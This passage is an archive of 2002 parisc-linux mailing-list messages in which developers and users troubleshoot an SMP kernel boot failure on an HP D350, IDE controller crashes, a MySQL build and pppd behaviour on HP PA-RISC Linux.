	id 68C77366AD6; Wed, 18 Sep 2002 21:57:14 +0200 (CEST)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE
	via smail from stdin
	id <m17rkoB-000pYVC@finlandia.Infodrom.North.DE>
	for stephan@itp.bg; Wed, 18 Sep 2002 21:48:23 +0200 (CEST) 
Content-Disposition: inline
In-Reply-To: <20020918193205.597D04829@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16169

Stephan Trajkoff wrote:
> 
> -------------------------------------------------------------------
> -->> FREE Perl CGI scripts add WEB ACCESS to your POP email accounts!
> -->> Download today!! http://www.adjeweb.com
> -------------------------------------------------------------------
> 
> Hi, I tried to compile mysql-3.23.49, but no good result, there are 
> many errors in compiling with libraries. I do dist-upgrade every week

Why don't you use the package provided by Debian?

libmysqlclient10-dev  stable    3.23.49-8   hppa

libmysqlclient10      stable    3.23.49-8   hppa

mysql-client          stable    3.23.49-8   hppa

mysql-server          stable    3.23.49-8   hppa

i.e. use apt-get install ...

Regards,

	Joey

-- 
Whenever you meet yourself you're in a time loop or in front of a mirror.


From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Istvan Gyenes <frts@simba.sch.bme.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP kernel problems on a D350
Date: Thu, 19 Sep 2002 09:38:31 +0200 (MET DST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.33.0209190926170.32375-100000@simba.sch.bme.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621731 14154 80.91.229.3 (22 Nov 2014 02:02:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:11 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 01:37:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from simba.sch.bme.hu (simba.sch.bme.hu [152.66.215.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1012E4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 01:37:16 -0600 (MDT)
Original-Received: from localhost by simba.sch.bme.hu (8.8.8/1.1.22.3/04Nov00-0836PM)
	id JAA0000032415; Thu, 19 Sep 2002 09:38:31 +0200 (MET DST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16170

Hello List,

I'm trying to compile an SMP kernel for my D 350 (2cpu) server without
success.
The kernel source is 2.4.19-pa18 and in non-smp configuration it works
well. Anyway the SMP kernel compiles fine but when I try to boot it
stops at the "If this is the last message you see, you may need to switch
your console" line. I've switched the console but got no other output.
(It was the same with 2.4.19-pa14)
The system was installed from a debian 3.0 CD.
Can somebody send me a working .config? Or what can be the problem?

Thanks in advance,

__
Steve



From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.steindlberger@gmx.de
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ide controller
Date: Thu, 19 Sep 2002 10:41:14 +0200 (MEST)
Lines: 40
Approved: news@gmane.org
Message-ID: <28859.1032424874@www2.gmx.net>
References: <20020916043004.B27754829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621731 14158 80.91.229.3 (22 Nov 2014 02:02:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:11 +0000 (UTC)
Cc: moritz@freesources.org, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 02:41:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100])
	by dsl2.external.hp.com (Postfix) with SMTP id 007F6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 02:41:18 -0600 (MDT)
Original-Received: (qmail 10291 invoked by uid 0); 19 Sep 2002 08:41:15 -0000
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0000334555@gmx.net
X-Authenticated-IP: [193.24.32.38]
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
X-Flags: 0001
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16171

Hi Grant,

together with Moritz I/we tried to get some new results. We took the latest
kernel (-pa18) and did the changes to the PDC202XX-definitions in pdc202xx.c.
But I don't believe that the kernel gets the chance to recognice this
change. I think the kernel crashes earlier. We reduced the kernel by the specific
drivers. We disabled the following:
[ ]     Generic PCI bus-master DMA support
After compiling wie had these three modules:
ide-mod.o
ide-probe-mod.o
ide-disk.o
An insmod ide-mod.o was possible. But after insmod ide-probe-mod the kernel
crashes. In some cases we got an output with about 50 pages of memory
addresses. At the beginning we got some messages told about the SYM-SCSI-device.
Could that be a conflict? We did not succeed to reproduce that and log it.

Here my questions:
Did You here about anyone to succeed in using an IDE-controller in a
HP-RISC-architecture?
Do You see a chance to use IDE-disks in future (with some none
HP-controller)
Do You know about more people who are interrested in what we tried to do?
That would be an argument for me to continue experimenting.

Thank You
Joerg

> #define PDC202XX_DEBUG_DRIVE_INFO               0
> #define PDC202XX_DECODE_REGISTER_INFO           0
> 
>   and rebuild the module with that.
> 
> 3) post the console log and "ser pim" output at PDC prompt.

-- 
GMX - Die Kommunikationsplattform im Internet.
http://www.gmx.net



From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Istvan Gyenes <frts@simba.sch.bme.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Thu, 19 Sep 2002 11:17:00 +0200 (MET DST)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.33.0209191111490.32375-100000@simba.sch.bme.hu>
References: <200209190805.KAA0000032531@simba.sch.bme.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621732 14160 80.91.229.3 (22 Nov 2014 02:02:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:12 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "J.Steindlberger" <j@steindlberger.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 03:15:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from simba.sch.bme.hu (simba.sch.bme.hu [152.66.215.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F6954829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 03:15:47 -0600 (MDT)
Original-Received: from localhost by simba.sch.bme.hu (8.8.8/1.1.22.3/04Nov00-0836PM)
	id LAA0000032428; Thu, 19 Sep 2002 11:17:00 +0200 (MET DST)
In-Reply-To: <200209190805.KAA0000032531@simba.sch.bme.hu>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16172

Hello Joerg,

The only difference between the non-smp and smp kernel config file is
CONFIG_SMP=yes , AFAIK.
I made a "make menuconfig" and the only thing I've changed is SMP support.
The strange thing is that the precompiled smp kernel from the install cd
boots fine. (2.4.18-smp)

BTW where can I select 32bit/64bit support?
__
Steve

On Thu, 19 Sep 2002, J.Steindlberger wrote:

> Hi Steve,
>
> I'm no developer, but I know, that there are a few restrictions with D-Class
> machines. Did You select 64bit support? This machine is a 32bit architecture.
>
> Regards
> Joerg
>
> On Thursday 19 September 2002 09:38, you wrote:
> > I'm trying to compile an SMP kernel for my D 350 (2cpu) server without
> > success.
> > The kernel source is 2.4.19-pa18 and in non-smp configuration it works
> > well. Anyway the SMP kernel compiles fine but when I try to boot it
> > stops at the "If this is the last message you see, you may need to switch
> > your console" line. I've switched the console but got no other output.
> > (It was the same with 2.4.19-pa14)
> > The system was installed from a debian 3.0 CD.
> > Can somebody send me a working .config? Or what can be the problem?
>



From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ide controller
Date: 19 Sep 2002 11:06:44 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <1032430004.26669.1.camel@irongate.swansea.linux.org.uk>
References: <20020916043004.B27754829@dsl2.external.hp.com> 
	<28859.1032424874@www2.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621732 14164 80.91.229.3 (22 Nov 2014 02:02:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:12 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	moritz@freesources.org, parisc-linux@lists.parisc-linux.org
To: j.steindlberger@gmx.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 04:03:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust128.swa.cable.ntl.com [80.5.120.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9AF5A4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 04:03:03 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g8JA6l5a026763;
	Thu, 19 Sep 2002 11:06:48 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g8JA6iq1026761;
	Thu, 19 Sep 2002 11:06:44 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <28859.1032424874@www2.gmx.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16173

On Thu, 2002-09-19 at 09:41, j.steindlberger@gmx.de wrote:
> together with Moritz I/we tried to get some new results. We took the latest
> kernel (-pa18) and did the changes to the PDC202XX-definitions in pdc202xx.c.
> But I don't believe that the kernel gets the chance to recognice this
> change. I think the kernel crashes earlier. We reduced the kernel by the specific
> drivers. We disabled the following:
> [ ]     Generic PCI bus-master DMA support
> After compiling wie had these three modules:
> ide-mod.o
> ide-probe-mod.o
> ide-disk.o
> An insmod ide-mod.o was possible. But after insmod ide-probe-mod the kernel
> crashes. In some cases we got an output with about 50 pages of memory
> addresses. At the beginning we got some messages told about the SYM-SCSI-device.
> Could that be a conflict? We did not succeed to reproduce that and log it.

Our IDE code has been run on non x86 platforms. It does require that the
defaults are set right for the platform so that it doesnt do stuff like
blindly probe I/O 0x170. 

I don't know if the Promise card needs its BIOS to have run, I would
suspect not but can't be sure.





From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PPPD+PPTPD
Date: Thu, 19 Sep 2002 13:24:20 +0300
Lines: 29
Approved: news@gmane.org
Message-ID: <3D89A5D4.8050306@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060604040603010400060207"
X-Trace: ger.gmane.org 1416621732 14168 80.91.229.3 (22 Nov 2014 02:02:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 04:24:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 7AA504829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 04:24:24 -0600 (MDT)
Original-Received: (qmail 18487 invoked from network); 19 Sep 2002 10:25:20 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 19 Sep 2002 10:25:20 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16174

This is a multi-part message in MIME format.
--------------060604040603010400060207
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hello, please see the attachment.
I use 2.4.18-pa61 kernel and enabled PPP support
PPPD version is 2.4.1, PPTPD is 1.1.3

--------------060604040603010400060207
Content-Type: text/plain;
 name="ppp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="ppp"

Sep 19 13:22:41 obzor pppd[17190]: read: Resource temporarily unavailable
Sep 19 13:22:41 obzor pppd[17190]: read /dev/ppp: Resource temporarily
unavailable
Sep 19 13:22:41 obzor pppd[17190]: rcvd [LCP ConfAck id=0x1 <asyncmap 0x0>
<auth pap> <magic 0x2479cb91> <pcomp> <accomp>]
Sep 19 13:22:41 obzor pppd[17190]: sent [LCP EchoReq id=0x0
magic=0x2479cb91]
Sep 19 13:22:41 obzor pppd[17190]: rcvd [PAP AuthReq id=0x1 user="kpematop"
password=<hidden>]

--------------060604040603010400060207--



From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J.Steindlberger" <j@steindlberger.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Thu, 19 Sep 2002 14:21:15 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20020919122034.98BF64829@dsl2.external.hp.com>
References: <Pine.OSF.4.33.0209191111490.32375-100000@simba.sch.bme.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621732 14172 80.91.229.3 (22 Nov 2014 02:02:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Istvan Gyenes <frts@simba.sch.bme.hu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 06:20:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server01 (s217-115-138-231.colo.hosteurope.de [217.115.138.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98BF64829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 06:20:34 -0600 (MDT)
Original-Received: from there ([::ffff:10.255.124.2])
  (IDENT: jst)
  by server01 with esmtp; Thu, 19 Sep 2002 14:20:31 +0200
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <Pine.OSF.4.33.0209191111490.32375-100000@simba.sch.bme.hu>
X-Mime-Autoconverted: from 8bit to 7bit by courier 0.39
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16175

Hi,

You can choose 32bit/64bit in the "Processor type" section. And only if You 
choose a processor that supports more than 32bit.

Did You try the config file included in the 2.4.18-smp kernel image package? 
Perhaps it's different in more than that SMP-section. So far for my ideas. If 
You still get problems, there is something to be fixed and the answering is 
up to an expert -- not me ;-) , sorry. I hope I could help You anyway.

Joerg


From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: 19 Sep 2002 06:29:29 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <1032438569.25418.107.camel@beavis>
References: <Pine.OSF.4.33.0209191111490.32375-100000@simba.sch.bme.hu> 
	<20020919122034.98BF64829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621733 14175 80.91.229.3 (22 Nov 2014 02:02:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:13 +0000 (UTC)
Cc: Istvan Gyenes <frts@simba.sch.bme.hu>,
	parisc-linux@lists.parisc-linux.org
To: "J.Steindlberger" <j@steindlberger.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 06:29:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54CB34829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 06:29:32 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 9657C2E3E6; Thu, 19 Sep 2002 06:29:29 -0600 (MDT)
In-Reply-To: <20020919122034.98BF64829@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16176

On Thu, 2002-09-19 at 06:21, J.Steindlberger wrote:
> Hi,
> 
> You can choose 32bit/64bit in the "Processor type" section. And only if You 
> choose a processor that supports more than 32bit.

ie PA8x00 chipset.  From the hwdb the D350 has the following processor:
UL Proc 1-way T'100 (821/D250,D350) (Processor)  (PA7200 (PCX-T'))

so 64-bit would not be supported on this system.

- Ryan


> Did You try the config file included in the 2.4.18-smp kernel image package? 
> Perhaps it's different in more than that SMP-section. So far for my ideas. If 
> You still get problems, there is something to be fixed and the answering is 
> up to an expert -- not me ;-) , sorry. I hope I could help You anyway.
> 
> Joerg
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J.Steindlberger" <j@steindlberger.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ide controller
Date: Thu, 19 Sep 2002 14:50:45 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20020919125032.31FE74829@dsl2.external.hp.com>
References: <20020916043004.B27754829@dsl2.external.hp.com> <28859.1032424874@www2.gmx.net> <1032430004.26669.1.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621733 14179 80.91.229.3 (22 Nov 2014 02:02:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:13 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	moritz@freesources.org, parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 06:50:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server01 (s217-115-138-231.colo.hosteurope.de [217.115.138.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31FE74829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 06:50:32 -0600 (MDT)
Original-Received: from there ([::ffff:10.255.124.2])
  (IDENT: jst)
  by server01 with esmtp; Thu, 19 Sep 2002 14:50:28 +0200
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <1032430004.26669.1.camel@irongate.swansea.linux.org.uk>
X-Mime-Autoconverted: from 8bit to 7bit by courier 0.39
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16177

On Thursday 19 September 2002 12:06, you wrote:
> Our IDE code has been run on non x86 platforms. It does require that the
> defaults are set right for the platform so that it doesnt do stuff like
> blindly probe I/O 0x170.
>
> I don't know if the Promise card needs its BIOS to have run, I would
> suspect not but can't be sure.

Hi Alan,

we tried a different controller with originally an eprom bios. We simply put 
that eeprom away. (The Promise has a chip-integrated flash bios - putting 
that away seems not to be possible.) The kernel crashed alike. Do You have 
any ideas to get more debug output? I could set up my second C-Class with 
parisc-linux and test it there. (The first one is now running some essential 
services - continued crashing would not be good.)

Then I will have a deep look into the linux-code (oh, I'll have to learn C) 
and search for that stupid (sorry) 0x170 probe.

Thanks a lot! You will read more...
Joerg


From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Francisco_Javier.Llorente_Recio@alcatel.es
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: XFree86 on B180
Date: Thu, 19 Sep 2002 17:08:16 +0200
